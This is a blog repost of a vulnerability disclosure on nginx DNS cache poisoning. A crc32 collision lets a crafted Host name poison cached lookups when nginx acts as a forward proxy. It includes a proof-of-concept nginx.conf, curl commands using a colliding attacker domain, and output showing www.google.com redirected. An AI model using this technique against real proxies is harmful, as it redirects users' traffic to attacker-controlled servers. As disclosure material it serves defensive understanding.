博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
nginx internal DNS cache poisoning
阅读量:2437 次
发布时间:2019-05-10

本文共 1494 字,大约阅读时间需要 4 分钟。

nginx maintains an internal DNS cache for resolved domain names.

However, when searching the cache, nginx only checks that the crc32 of
the names match and that the shorter name is a prefix of the longer
name. It does not check that the names are equal in length.
One way to exploit this is if nginx is configured as a forward proxy.
This is an atypical use case, but it has been discussed on the nginx
mailing list before[1].
For example, using this nginx.conf:
events {
worker_connections 1024;
}
http {
resolver 4.2.2.4;
server {
listen 8080;
location / {
proxy_pass http://$http_host$request_uri;
}
}
}
You can then run curl to see the cache poisoning in effect:
$ curl -H 'Host: www.google.com.9nyz309.crc32.dempsky.org'
http://127.0.0.1:8080/
<html>
<body>
Ho hum, nothing to see here, move along please.
</body>
</html>
$ curl -H 'Host: www.google.com' http://127.0.0.1:8080/
<html>
<body>
Oops, you shouldn't be asking me for http://www.google.com/!
</body>
</html>
(Restart nginx and run only the second command to see its expected
behavior; i.e., actually fetching http://www.google.com/.)
This works because crc32("www.google.com.") ==
crc32("www.google.com.9nyz309.crc32.dempsky.org."). The first request
cached the IP address for www.google.com.9nyz309.crc32.dempsky.org,
and then the second request used this IP address instead of querying
for www.google.com's real IP address because of the matching CRCs and
the common prefix.
[1] http://marc.info/?l=nginx&m=125257590425747&w=2

转载地址:http://qemmb.baihongyu.com/

你可能感兴趣的文章
Mac快捷键和实用技巧
查看>>
Git的多人协作和分支处理测试
查看>>
mysql索引回表
查看>>
go语言实现2048小游戏(完整代码)
查看>>
动态二维码免费制作
查看>>
C语言贪吃蛇
查看>>
Python练手项目
查看>>
Django无法显示图片
查看>>
AOP技术基础
查看>>
聊聊Spring中的数据绑定 --- DataBinder本尊(源码分析)
查看>>
Spring MVC 框架的请求处理流程及体系结构
查看>>
mybatis-generator-gui界面工具生成实体
查看>>
Github访问速度很慢的原因,以及解决方法
查看>>
数据库分区、分表、分库、分片
查看>>
数据库垂直拆分 水平拆分
查看>>
如何写一份优秀的java程序员简历
查看>>
如何避免软件行业的薪资天花板?
查看>>
Java知识体系最强总结(2020版)
查看>>
MyBatis与Hibernate区别
查看>>
笔记︱风控分类模型种类(决策、排序)比较与模型评估体系(ROC/gini/KS/lift)
查看>>